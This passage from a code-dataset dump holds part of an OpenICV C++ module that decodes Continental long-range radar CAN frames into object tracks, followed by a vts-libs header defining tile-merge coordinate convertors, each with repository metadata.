(lrrRadarRawData[i].rangex*0.2);\r\n\r\n\t\tlrrRadarProcData[validIdx].y = (float)(lrrRadarRawData[i].rangey*0.2); //scale: 0.2\r\n\t\tlrrRadarProcData[validIdx].relspeedx = (float)(lrrRadarRawData[i].speedx*0.25); //scale: 0.25\r\n\t\tlrrRadarProcData[validIdx].relspeedy = (float)(lrrRadarRawData[i].speedy*0.25); //scale: 0.25\r\n\t\tlrrRadarProcData[validIdx].obj_amp = (float)(lrrRadarRawData[i].obj_amp*0.5); //scale: 0.25\r\n\t\tlrrRadarProcData[validIdx].objDynProp = lrrRadarRawData[i].objDynProp ;\r\n\t\t\r\n\t\t\r\n\t\tlrrRadarProcData[validIdx].rangex_rms =(float)(lrrRadarRawData[i].rangex_rms*0.33);\r\n\t\tlrrRadarProcData[validIdx].rangey_rms =(float)(lrrRadarRawData[i].rangey_rms*0.33);\r\n\t\tlrrRadarProcData[validIdx].speedx_rms =(float)(lrrRadarRawData[i].speedx_rms*0.33);\r\n\t\tlrrRadarProcData[validIdx].speedy_rms =(float)(lrrRadarRawData[i].speedy_rms*0.33);\r\n\t\tlrrRadarProcData[validIdx].accx_rms =(float)(lrrRadarRawData[i].accx_rms*0.33);\r\n\t\tlrrRadarProcData[validIdx].accy_rms =(float)(lrrRadarRawData[i].accy_rms*0.33);\r\n\r\n\t\tlrrRadarProcData[validIdx].orient_rms =(float)(lrrRadarRawData[i].orient_rms*6.0);\r\n\r\n\t\tlrrRadarProcData[validIdx].objProbExist=lrrRadarRawData[i].objProbExist;\r\n\t\tlrrRadarProcData[validIdx].objMeasState=lrrRadarRawData[i].objMeasState;\r\n\r\n\t\tlrrRadarProcData[validIdx].accx =(float)(lrrRadarRawData[i].accx*0.01);\r\n\t\tlrrRadarProcData[validIdx].accy =(float)(lrrRadarRawData[i].accy*0.01);\r\n\r\n\t\tlrrRadarProcData[validIdx].objClass =  lrrRadarRawData[i].objClass;\r\n\t\tlrrRadarProcData[validIdx].ObjectOrientAngel =(float)(lrrRadarRawData[i].ObjectOrientAngel*0.4);\r\n\r\n\t\tlrrRadarProcData[validIdx].ObjectWidth =(float)(lrrRadarRawData[i].ObjectWidth*0.2);\r\n\t\tlrrRadarProcData[validIdx].ObjectLength =(float)(lrrRadarRawData[i].ObjectLength*0.2);\r\n      \tvalidIdx++;\r\n    }\r\n  }\r\n  //\"printf(#validIdx: %d\\n\", validIdx);\r\n}\r\nvoid radarStatusOutput(TimestampedCanFrame Tframe)\r\n{\r\n\tuint8 *pData = Tframe.frame.data;\r\n\tuint16 temp,temp1;\r\n\r\n\tif( Tframe.frame.id==0x201)\r\n\t{\r\n\t\ttemp =0;\r\n\t\ttemp=(short)(pData[0]&0x40);\r\n\t\ttemp=temp>>6;\r\n\t\tConfigdata201.nvmReadStatus=temp;\r\n\r\n\t\ttemp =0;\r\n\t\ttemp=(short)(pData[0]&0x80);\r\n\t\ttemp=temp>>7;\r\n\t\tConfigdata201.nvmWriteStatus=temp;\r\n\r\n\t\ttemp=0;\r\n\t\ttemp1=0;\r\n\t\ttemp=(short)(pData[1]&0xff);\r\n\t\ttemp=temp<<2;\r\n\t\ttemp1=(short)(pData[2]&0xc0);\r\n\t\ttemp1=temp1>>6;\r\n\t\ttemp=temp+temp1;\r\n\r\n\t\tConfigdata201.maxDistanceCfg=temp*2;\r\n\r\n\t\ttemp=0;\r\n\t\ttemp=(short)(pData[2]&0x20);\r\n\t\ttemp=temp>>5;\r\n\t\tConfigdata201.persistentError=temp;\r\n\r\n\r\n\t\ttemp=0;\r\n\t\ttemp=(short)(pData[2]&0x10);\r\n\t\ttemp=temp>>4;\r\n\t\tConfigdata201.interface=temp;\r\n\t\ttemp=0;\r\n\t\ttemp=(short)(pData[2]&0x08);\r\n\t\ttemp=temp>>3;\r\n\t\tConfigdata201.temperatureError=temp;\r\n\t\ttemp=0;\r\n\t\ttemp=(short)(pData[2]&0x04);\r\n\t\ttemp=temp>>2;\r\n\t\tConfigdata201.temporaryError=temp;\r\n\t\ttemp=0;\r\n\t\ttemp=(short)(pData[2]&0x02);\r\n\t\ttemp=temp>>1;\r\n\t\tConfigdata201.voltageError=temp;\r\n\t\ttemp=0;\r\n\t\ttemp=(short)(pData[5]&0x02);\r\n\t\ttemp=temp>>1;\r\n\t\tConfigdata201.ctrlRelayError=temp;\r\n\t\ttemp=0;\r\n\t\ttemp=(short)(pData[5]&0x10);\r\n\t\ttemp=temp>>4;\r\n\t\tConfigdata201.sendQualityCfg=temp;\r\n\t\ttemp=0;\r\n\t\ttemp=(short)(pData[5]&0x20);\r\n\t\ttemp=temp>>5;\r\n\t\tConfigdata201.sendExtInfoCfg=temp;\r\n\t\ttemp=0;\r\n\t\ttemp=(short)(pData[5]&0xc0);\r\n\t\ttemp=temp>>6;\r\n\t\tConfigdata201.motionRxstate=temp;\r\n\t\ttemp=0;\r\n\t\ttemp1=0;\r\n\t\ttemp=(short)(pData[3]&0x03);\r\n\t\ttemp=temp<<1;\r\n\t\ttemp1=(short)(pData[4]&0x80);\r\n\t\ttemp1=temp1>>7;\r\n\t\ttemp=temp+temp1;\r\n\t\tConfigdata201.powerCfg=temp;\r\n\t\ttemp=0;\r\n\t\ttemp1=0;\r\n\t\ttemp=(short)(pData[7]&0x1c);\r\n\t\ttemp=temp>>2;\r\n\t\tConfigdata201.rcs_thred=temp;\r\n\t\tConfigdata201.sensorID=(short)(pData[4]&0x07);\r\n\r\n\t\ttemp=0;\r\n\t\ttemp1=0;\r\n\t\ttemp=(short)(pData[4]&0x70);\r\n\t\ttemp=temp>>4;\r\n\t\tConfigdata201.sortIndex=temp;\r\n\r\n\r\n\t\ttemp=0;\r\n\t\ttemp1=0;\r\n\t\ttemp=(short)(pData[5]&0x0c);\r\n\t\ttemp=temp>>2;\r\n\t\tConfigdata201.outputCfg=temp;\r\n\t}\r\n \r\n}\r\nvoid procCanFrame(TimestampedCanFrame Tframe) \r\n{\r\n\tuint16 i;\r\n\tuint8 *pData = Tframe.frame.data;\r\n\tint16 temp,temp1,temp2,temp3;\r\n\tif( Tframe.frame.id==0x60a)\r\n\t{\r\n\t\tDataFlag=1;\r\n\t\tcurrentNumObj=(short)(pData[0]&0xff);\r\n\t\tnumOfTgt=currentNumObj;\r\n\t\tnumB=0;\r\n\t\tnumC=0;\r\n\t\tnumD=0;\r\n\t\tmemset(lrrRadarRawData, 0, sizeof(sLrrRawData) * LrrMaxTarNum);\r\n\t\tmemset(lrrRadarProcData, 0, sizeof(sLrrProcData) * LrrMaxTarNum);\r\n\t\t// ICV_LOG_INFO<<\"long NUM \"<<numOfTgt;\r\n\t}\r\n\r\n\r\n\tif( Tframe.frame.id==0x60b)\r\n\t{\r\n\t\t//ICV_LOG_INFO<<\"OX60B\";\r\n\r\n\t\ti=(numB);\r\n\t\tlrrRadarRawData[i].isUpdated = 1;\r\n\t\ttemp = 0;\r\n\t\ttemp = (short)(pData[0]&0xff);\r\n\t\tlrrRadarRawData[i].objID = (temp);\r\n\t\ttemp = 0;\r\n\t\ttemp1 = 0;\r\n\t\ttemp = (short)(pData[1]&0xff);\r\n\r\n\t\ttemp = temp<<5;\r\n\t\ttemp1 = (pData[2]&0xf8);\r\n\t\ttemp1 = temp1>>3;\r\n\t\ttemp=temp+temp1;\r\n\t\tlrrRadarRawData[i].rangex = (temp-2500);   // \u8fd8\u9700\u8981*0.2\r\n\t\t// ICV_LOG_INFO<<\"long rangex:\"<< (lrrRadarRawData[i].rangex*0.2);\r\n\r\n\t\ttemp = 0;\r\n\t\ttemp1 = 0;\r\n\t\ttemp = (short)(pData[2]&0x07);\r\n\t\ttemp = temp<<8;\r\n\t\ttemp1 = (short)(pData[3]&0xff);\r\n\t\ttemp=temp+temp1;\r\n\t\tlrrRadarRawData[i].rangey =(temp-1023);   // \u8fd8\u9700\u8981*0.2\r\n\r\n\r\n\t\ttemp = 0;\r\n\t\ttemp1 = 0;\r\n\t\ttemp = (short)(pData[4]&0xff);\r\n\t\ttemp = temp<<2;\r\n\t\ttemp1 = (short)(pData[5]&0xc0);\r\n\t\ttemp1 = temp1>>6;\r\n\t\ttemp+=temp1;\r\n\t\tlrrRadarRawData[i].speedx = (temp-512);   // \u8fd8\u9700\u8981*0.25\r\n\r\n\t\ttemp = 0;\r\n\t\ttemp1 = 0;\r\n\t\ttemp = (short)(pData[5]&0x3f);\r\n\t\ttemp = temp<<3;\r\n\t\ttemp1 = (short)(pData[6]&0xe0);\r\n\t\ttemp1 = temp1>>5;\r\n\t\ttemp+=temp1;\r\n\t\tlrrRadarRawData[i].speedy = (temp-256);    // \u8fd8\u9700\u8981*0.25\r\n\r\n\t\ttemp = 0;\r\n\t\ttemp1 = 0;\r\n\t\ttemp = (short)(pData[6]&0x07);\r\n\t\tlrrRadarRawData[i].objDynProp = (temp);    // probability\r\n\r\n\t\ttemp = 0;\r\n\t\ttemp1 = 0;\r\n\t\ttemp = (short)(pData[7]&0xff);\r\n\t\tlrrRadarRawData[i].obj_amp = (temp-128);    // probability chengyi 0.5\r\n\r\n\t\t(numB)++;\r\n\t}\r\n\r\n\t/////add///////\r\n\r\n\tif(Tframe.frame.id==0x60c)\r\n\t{\r\n\t\r\n\t\ti=0;\r\n\t\ti=(numC);\r\n\r\n\t\t\r\n\t\ttemp = 0;\r\n\t\ttemp = (short)(pData[0]&0xff);\r\n\t\tlrrRadarRawData[i].objID = (temp);\r\n\r\n\t\t//ROS_INFO(\"objID_C:%d\",lrrRadarRawData[i].objID);\r\n\r\n\t\ttemp = 0;   \r\n\t\ttemp1 = 0;\r\n\t\ttemp = (short)(pData[1]&0xf8);\r\n\t\ttemp=temp>>3;\r\n\t\tlrrRadarRawData[i].rangex_rms = (temp);\r\n\r\n\t\ttemp = 0;\r\n\t\ttemp1 = 0;\r\n\t\ttemp = (short)(pData[1]&0x07);\r\n\t\ttemp=temp<<2;\r\n\t\ttemp1 = (short)(pData[2]&0xc0);\r\n\t\ttemp1=temp1>>6;\r\n\t\ttemp=temp+temp1;\r\n\t\tlrrRadarRawData[i].rangey_rms = (temp);\r\n\r\n\t\ttemp = 0;\r\n\t\ttemp1 = 0;\r\n\t\ttemp = (short)(pData[2]&0x3e);\r\n\t\ttemp=temp>>1;\r\n\t\tlrrRadarRawData[i].speedx_rms=(temp);\r\n\r\n\t\ttemp = 0;\r\n\t\ttemp1 = 0;\r\n\t\ttemp = (short)(pData[2]&0x01);\r\n\t\ttemp=temp<<4;\r\n\t\ttemp1 = (short)(pData[3]&0xf0);\r\n\t\ttemp1=temp1>>4;\r\n\t\ttemp=temp+temp1;\r\n\t\tlrrRadarRawData[i].speedy_rms=(temp);\r\n\r\n\t\ttemp = 0;\r\n\t\ttemp1 = 0;\r\n\t\ttemp = (short)(pData[3]&0x0f);\r\n\t\ttemp=temp<<1;\r\n\t\ttemp1 = (short)(pData[4]&0x80);\r\n\t\ttemp1=temp1>>7;\r\n\t\ttemp=temp+temp1;\r\n\t\tlrrRadarRawData[i].accx_rms=(temp);\r\n\r\n\r\n\t\ttemp = 0;\r\n\t\ttemp1 = 0;\r\n\t\ttemp = (short)(pData[4]&0x7c);\r\n\r\n\t\ttemp=temp>>2;\r\n\t\r\n\t\tlrrRadarRawData[i].accy_rms=(temp);\r\n\r\n\t\ttemp = 0;\r\n\t\ttemp1 = 0;\r\n\t\ttemp = (short)(pData[4]&0x03);\r\n\t\ttemp=temp<<3;\r\n\t\ttemp1 = (short)(pData[5]&0xe0);\r\n\t\ttemp1=temp1>>5;\r\n\t\ttemp=temp+temp1;\r\n\t\tlrrRadarRawData[i].orient_rms=(temp);\r\n\r\n\r\n\t\ttemp = 0;\r\n\t\ttemp = (short)(pData[6]&0xe0);\r\n\t\ttemp=temp>>5;\r\n\r\n\t\tlrrRadarRawData[i].objProbExist=(temp);\r\n\r\n\t\ttemp = 0;\r\n\t\ttemp = (short)(pData[6]&0x1c);\r\n\t\ttemp=temp>>2;\r\n\r\n\t\tlrrRadarRawData[i].objMeasState=(temp);\r\n\r\n\t\tnumC++;\r\n\r\n\r\n\t}\r\n\t///--------------------------------------------------///\r\n\tif(Tframe.frame.id==0x60d)\r\n\t{\r\n\t\r\n\t\ti=0;\r\n\t\ti=(numD);\r\n\r\n\t\t\r\n\t\ttemp = 0;\r\n\t\ttemp = (short)(pData[0]&0xff);\r\n\r\n\t\tlrrRadarRawData[i].objID = (temp);\r\n\r\n\t\t//ROS_INFO(\"objID_D:%d\",lrrRadarRawData[i].objID);\r\n\r\n\t\ttemp = 0;\r\n\t\ttemp1 = 0;\r\n\t\ttemp = (short)(pData[1]&0xff);\r\n\t\ttemp=temp<<3;\r\n\t\ttemp1 = (short)(pData[2]&0xe0);\r\n\t\ttemp=temp>>5;\r\n\t\ttemp=temp+temp1;\r\n\t\tlrrRadarRawData[i].accx = (temp-1000);\r\n\r\n\t\r\n\t\ttemp = 0;\r\n\t\ttemp1 = 0;\r\n\t\ttemp = (short)(pData[2]&0x1f);\r\n\t\ttemp=temp<<4;\r\n\t\ttemp1 = (short)(pData[3]&0xf0);\r\n\t\ttemp=temp>>4;\r\n\t\ttemp=temp+temp1;\r\n\t\tlrrRadarRawData[i].accy = (temp-250);\r\n\r\n\t\ttemp = 0;\r\n\t\ttemp1 = 0;\r\n\t\ttemp = (short)(pData[3]&0x07);\r\n\t\t\r\n\t\tlrrRadarRawData[i].objClass = (temp);\r\n\r\n\r\n\t\ttemp = 0;\r\n\t\ttemp1 = 0;\r\n\t\ttemp = (short)(pData[4]&0xff);\r\n\t\ttemp=temp<<2;\r\n\t\ttemp1 = (short)(pData[5]&0xc0);\r\n\t\ttemp=temp>>6;\r\n\t\ttemp=temp+temp1;\r\n\t\tlrrRadarRawData[i].ObjectOrientAngel = (temp-450);\r\n\r\n\t\ttemp = 0;\r\n\r\n\t\ttemp = (short)(pData[6]&0xff);\r\n\t\t\r\n\t\tlrrRadarRawData[i].ObjectLength = (temp);\r\n\r\n\t\ttemp = 0;\r\n\r\n\t\ttemp = (short)(pData[7]&0xff);\r\n\t\t\r\n\t\tlrrRadarRawData[i].ObjectWidth = (temp);\r\n\t\r\n\r\n\t\tnumD++;\r\n\r\n\r\n\t}\r\n\r\n\r\n}\r\n\r\n\r\nvirtual void Process(std::istream& stream) override\r\n{\r\n\t// ICV_LOG_INFO<<\"debug 1\";\r\n\t// ICV_LOG_INFO<<\"radar buffer size:\"<<_buffer.size() ;\r\n\tif(!configured_)\r\n\t{\r\n\t\tsendRadarConfig();\r\n\t\tconfigured_=true;\r\n\r\n\t}\r\n    // ICV_LOG_INFO<<\"debug 2\";\r\n\tif (_buffer.size() % 13 == 0)\r\n\t{\r\n\tint i_count=_buffer.size() /13;\r\n\t// ICV_LOG_INFO<<\"frame num:\"<<i_count;\r\n\tfor(int i=0;i<i_count;i++)\r\n\t{\r\n\t\tchar udpBuffer[13];\r\n\t\tstream.read(udpBuffer, 13);\r\n\t\tTframe.frame.id = ((uint16)(udpBuffer[3] << 8) + udpBuffer[4]);\r\n\t\t//\tICV_LOG_INFO<<\"Frame id\"<<Tframe.frame.id ;\r\n\t  \tfor (int j = 0; j < 8; j++)\r\n\t\t{\r\n\t\t\tTframe.frame.data[j] = udpBuffer[j + 5];\r\n\t\t}\r\n\t\tprocCanFrame(Tframe);\r\n\t\t//ICV_LOG_INFO<<\"radar NUMB: \"<<numB ;\r\n\t\t// ICV_LOG_INFO<<\"debug 3--\";\r\n\t\t// ICV_LOG_INFO<<\"data flag:\"<<DataFlag;\r\n\r\n\t\tif(DataFlag==1)\r\n\t\t{\r\n\t\t\t// ICV_LOG_INFO<<\"NUMB: \"<<numB<<\" NUMC:\"<<numC<<\" NUMD\"<<numD ;\r\n\t\t\tif(numC==numB &&numD==numC&&(numB>0))\r\n\t\t\t{\r\n\t\t\t\r\n\r\n\t\t\tDataFlag=0;\r\n\t\t\tprocLrrRadarData();\r\n\r\n\t\t\ttemp_out.targetnum_=numB;\r\n\t\t\tICV_LOG_INFO<<\"long radar source target num:\"<<numB ;\r\n\t\t\ttemp_out.header_.stamp = icvTime::now_us().time_since_epoch().count();\r\n\t\t\t// temp_out.header_.frame_id = \"lrrdata\";\r\n\t\t\t// strcpy(temp_out.header_.frame_id , \"lrrdata\");\r\n\t\t\t// ICV_LOG_INFO<<\"debug 4\";\r\n\t\t\t// ICV_LOG_INFO<<\"num: \"<<numB ;\r\n\r\n\t\t\tfor (int i=0;i<numB;i++)\r\n\t\t\t{\r\n\t\t\t\t\r\n\t\t\t\ttemp_out.alldata_[i]=lrrRadarProcData[i];\r\n\t\t\t\t// ICV_LOG_INFO<<\"range long\"<<lrrRadarProcData[i].x ;\r\n\t\t\t}\r\n\t\t\t// ICV_LOG_INFO<<\"debug 5\";\r\n\r\n\t\t\t\t// clear, fill up and publish msgObj\r\n\t\t\ttemp_resu.setvalue(temp_out);\r\n\t\t\t// ICV_LOG_INFO<<\"debug 5.5\";\r\n\t\t\ticvPublish(\"RadarContiLong\",&temp_resu);\r\n\t\t\tcurrentNumObj=0;\r\n\t\t\t// ICV_LOG_INFO<<\"debug 6\";\r\n\r\n\t\t\t}\t\r\n\t\t}\r\n\t}\r\n\r\n\t}\r\n\telse\r\n\t{\r\n\t\tprintf(\"Error: have not received can data, or byte number is wrong!\\n\");\r\n\t}\r\n\t//outData[0]->As<icv::opencv::icvCvMatData>() = mFrame; \r\n\t// ICV_LOG_INFO<<\"debug 7\";\r\n}\r\n\r\n\t\r\nprivate:\r\n\tstatic const int LrrMaxTarNum = 255;\r\n\tsLrrRawData lrrRadarRawData[LrrMaxTarNum];\r\n\tsLrrProcData lrrRadarProcData[LrrMaxTarNum];\r\n\tRadarLongOut temp_out;\r\n\tint numB,numC,numD,currentNumObj;\r\n\tstatic const int MaxUdpBufferSize = 1024;\r\n\tsLrrConfigdata201 Configdata201;\r\n\tint DataFlag=0,numOfTgt;\r\n\ticvLRRradardata temp_resu;\r\n\tTimestampedCanFrame Tframe;\r\n\tbool configured_=false;\r\n   \r\n};\r\nICV_REGISTER_FUNCTION(RadarContiLong)\r\n\r\n#endif  //\r\n", "meta": {"hexsha": "de73e9eaba107f50b6b3912925ae93753babe292", "size": 14114, "ext": "cxx", "lang": "C++", "max_stars_repo_path": "Branch/Sensors/RadarConti/RadarContiLong.cxx", "max_stars_repo_name": "Tsinghua-OpenICV/OpenICV", "max_stars_repo_head_hexsha": "37bf88122414d0c766491460248f61fa1a9fd78c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 12.0, "max_stars_repo_stars_event_min_datetime": "2019-12-17T08:17:51.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-14T03:13:10.000Z", "max_issues_repo_path": "Branch/Sensors/RadarConti/RadarContiLong.cxx", "max_issues_repo_name": "Tsinghua-OpenICV/OpenICV", "max_issues_repo_head_hexsha": "37bf88122414d0c766491460248f61fa1a9fd78c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Branch/Sensors/RadarConti/RadarContiLong.cxx", "max_forks_repo_name": "Tsinghua-OpenICV/OpenICV", "max_forks_repo_head_hexsha": "37bf88122414d0c766491460248f61fa1a9fd78c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 7.0, "max_forks_repo_forks_event_min_datetime": "2019-12-17T08:17:54.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-21T15:53:57.000Z", "avg_line_length": 25.802559415, "max_line_length": 133, "alphanum_fraction": 0.6122289925, "num_tokens": 5066, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.28140560742914383, "lm_q1q2_score": 0.14290110612721546}}
{"text": "/**\n * Copyright (c) 2017 Melown Technologies SE\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * *  Redistributions of source code must retain the above copyright notice,\n *    this list of conditions and the following disclaimer.\n *\n * *  Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n */\n\n#ifndef vtslibs_vts_merge_support_hpp_included_\n#define vtslibs_vts_merge_support_hpp_included_\n\n#include <utility>\n\n#include <boost/optional.hpp>\n#include <boost/utility/in_place_factory.hpp>\n\n#include \"math/transform.hpp\"\n#include \"math/geometry_core.hpp\"\n#include \"math/transform.hpp\"\n\n#include \"imgproc/contours.hpp\"\n\n#include \"../../basetypes.hpp\"\n#include \"../../meshop.hpp\"\n#include \"../../csconvertor.hpp\"\n#include \"../merge.hpp\"\n\nnamespace vtslibs { namespace vts { namespace merge {\n\nInput::list filterSources(const Input::list &reference\n                          , const Input::list &sources);\n\n/** Returns mesh vertices (vector per submesh) converted to coverage space.\n */\nVertices3List inputCoverageVertices(const Input &input\n                                    , const NodeInfo &nodeInfo\n                                    , const CsConvertor &conv\n                                    , int margin);\n\n/** Geo coordinates to coverage mask mapping.\n *\n * NB: result is from left-top edge (0, 0) to bottom-right edge (width, height)\n *\n * \\param extents tile SDS extents\n * \\param gridSize mask grid size (in pixels)\n * \\param margin safety margin around tile (in pixels)\n */\nmath::Matrix4 geo2mask(const math::Extents2 &extents\n                       , const math::Size2 &gridSize\n                       , int margin);\n\n/** Coverage mask mapping to geo coordinates.\n *\n * NB: source is from left-top edge (0, 0) to bottom-right edge (width, height)\n *\n * \\param extents tile SDS extents\n * \\param gridSize mask grid size (in pixels)\n * \\param margin safety margin around tile (in pixels)\n */\nmath::Matrix4 mask2geo(const math::Extents2 &extents\n                       , const math::Size2 &gridSize\n                       , int margin);\n\n/** Maps external texture coordinates from parent tile into subtile.\n *  Relationship defined by tile id, parent is a root of the tree (i.e. tile id\n *  0-0-0).\n */\nmath::Matrix3 etcNCTrafo(const TileId &id);\n\n/** Maps coverage coordinate into normalized external texture coordinates.\n */\nmath::Matrix4 coverage2EtcTrafo(const math::Size2 &gridSize, int margin);\n\nmath::Extents2 coverageExtents(int margin);\n\n/** Physical <-> SDS mask mesh coordinate system convertor.\n */\nclass SdMeshConvertor : public MeshVertexConvertor {\npublic:\n    /** Create convertor\n     *\n     * \\param input mesh operation input\n     * \\param nodeInfo curren node info\n     * \\param margin margin around tile (in pixels)\n     * \\param tileId local tile ID.\n     */\n    SdMeshConvertor(const NodeInfo &nodeInfo, int margin\n                    , const TileId &tileId = TileId()\n                    , bool meshesInSds = false\n                    , const boost::optional<math::Matrix4> &geoTrafo\n                    = boost::none);\n\n    virtual math::Point3d vertex(const math::Point3d &v) const;\n\n    virtual math::Point2d etc(const math::Point3d &v) const;\n\n    virtual math::Point2d etc(const math::Point2d &v) const;\n\n    // On-demand SdMeshConvertor instantiation.\n    struct Lazy;\n\n    /** Computes geometric extents from vertices in coverage space.\n     */\n    GeomExtents geomExtents(const math::Points3 &coverageVertices) const;\n\nprivate:\n    /** Linear transformation from local coverage coordinates to node's SD SRS.\n     */\n    math::Matrix4 geoTrafo_;\n\n    /** Convertor between node's SD SRS and reference frame's physical SRS.\n     */\n    CsConvertor geoConv_;\n\n    /** Converts external texture coordinates between fallback tile and current\n     *  tile.\n     */\n    math::Matrix3 etcNCTrafo_;\n\n    /** Converts between coverage coordinates and normalized external texture\n     *  coordinates.\n     */\n    math::Matrix4 coverage2Texture_;\n};\n\nstruct SdMeshConvertor::Lazy {\npublic:\n    /** NodeInfo is held by pointer. It must not be used after the target of the\n     *  pointer ceased to exist.\n     */\n    Lazy(const NodeInfo &nodeInfo, int margin, const TileId &tileId\n         , bool meshesInSds)\n        : nodeInfo_(&nodeInfo), margin_(margin), tileId_(tileId)\n        , meshesInSds_(meshesInSds)\n        , convertor_(nullptr)\n    {}\n\n    Lazy(const SdMeshConvertor &convertor) : convertor_(&convertor) {}\n\n    operator const SdMeshConvertor&() const {\n        if (!convertor_) {\n            own_.emplace(*nodeInfo_, margin_, tileId_, meshesInSds_\n                         , geoTrafo_);\n            convertor_ = &*own_;\n        }\n        return *convertor_;\n    }\n\n    const SdMeshConvertor& operator()() const { return *this; }\n\n    /** Computes geometric extents from vertices in coverage space.\n     */\n    GeomExtents geomExtents(const math::Points3 &coverageVertices) const;\n\nprivate:\n    const NodeInfo *nodeInfo_ = nullptr;\n    const int margin_ = 0;\n    const TileId tileId_;\n    const bool meshesInSds_ = false;\n\n    /** Cached trafo for geomextens\n     */\n    mutable boost::optional<math::Matrix4> geoTrafo_;\n\n\n    mutable boost::optional<SdMeshConvertor> own_;\n    mutable const SdMeshConvertor *convertor_;\n};\n\n// inlines\n\ninline math::Extents2 coverageExtents(int margin)\n{\n    const auto grid(Mesh::coverageSize());\n    return math::Extents2(0.0, 0.0, grid.width + 2.0 * margin\n                          , grid.height + 2.0 * margin);\n}\n\ninline SdMeshConvertor\n::SdMeshConvertor(const NodeInfo &nodeInfo, int margin\n                  , const TileId &tileId, bool meshesInSds\n                  , const boost::optional<math::Matrix4> &geoTrafo)\n    : geoTrafo_(geoTrafo ? *geoTrafo : Input::coverage2Sd(nodeInfo, margin))\n    , geoConv_(meshesInSds\n               ? CsConvertor()\n               : CsConvertor(nodeInfo.srs()\n                             , nodeInfo.referenceFrame().model.physicalSrs))\n    , etcNCTrafo_(etcNCTrafo(tileId))\n    , coverage2Texture_(Input::coverage2Texture(margin))\n{}\n\ninline math::Point3d SdMeshConvertor::vertex(const math::Point3d &v) const\n{\n    // point is in node SD SRS\n    return geoConv_(transform(geoTrafo_, v));\n}\n\ninline math::Point2d SdMeshConvertor::etc(const math::Point3d &v) const\n{\n    // point is in projected space (i.e. in coverage raster)\n    auto tmp(transform(coverage2Texture_, v));\n    return math::Point2d(tmp(0), tmp(1));\n}\n\ninline math::Point2d SdMeshConvertor::etc(const math::Point2d &v) const\n{\n    // point is in the input's texture coordinates system\n    return transform(etcNCTrafo_, v);\n}\n\ninline GeomExtents\nSdMeshConvertor::geomExtents(const math::Points3 &coverageVertices) const\n{\n    return vts::geomExtents(geoTrafo_, coverageVertices);\n}\n\ninline GeomExtents\nSdMeshConvertor::Lazy::geomExtents(const math::Points3 &coverageVertices) const\n{\n    if (convertor_) { return convertor_->geomExtents(coverageVertices); }\n\n    if (!geoTrafo_) {\n        geoTrafo_ = Input::coverage2Sd(*nodeInfo_, margin_);\n    }\n\n    return vts::geomExtents(*geoTrafo_, coverageVertices);\n}\n\n} } } // namespace vtslibs::vts::merge\n\n#endif // vtslibs_vts_merge_support_hpp_included_\n", "meta": {"hexsha": "662747d50430713893a5e47d1c55ec2a0f2c13bf", "size": 8255, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "vts-libs/vts/tileset/merge/support.hpp", "max_stars_repo_name": "melowntech/vts-libs", "max_stars_repo_head_hexsha": "ffbf889b6603a8f95d3c12a2602232ff9c5d2236", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": 2.0, "max_stars_repo_stars_event_min_datetime": "2020-04-20T01:44:46.000Z", "max_stars_repo_stars_event_max_datetime": "2021-01-15T06:54:51.000Z", "max_issues_repo_path": "vts-libs/vts/tileset/merge/support.hpp", "max_issues_repo_name": "melowntech/vts-libs", "max_issues_repo_head_hexsha": "ffbf889b6603a8f95d3c12a2602232ff9c5d2236", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": 2.0, "max_issues_repo_issues_event_min_datetime": "2020-01-29T16:30:49.000Z", "max_issues_repo_issues_event_max_datetime": "2020-06-03T15:21:29.000Z", "max_forks_repo_path": "vts-libs/vts/tileset/merge/support.hpp", "max_forks_repo_name": "melowntech/vts-libs", "max_forks_repo_head_hexsha": "ffbf889b6603a8f95d3c12a2602232ff9c5d2236", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": 1.0, "max_forks_repo_forks_event_min_datetime": "2019-09-25T05:10:07.000Z", "max_forks_repo_forks_event_max_datetime": "2019-09-25T05:10:07.000Z", "avg_line_length": 33.02, "max_line_length": 80, "alphanum_fraction": 0.6795881284, "num_tokens": 2000, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5621765155565326, "lm_q2_score": 0.2538610069692489, "lm_q1q2_score": 0.14271469633364497}}
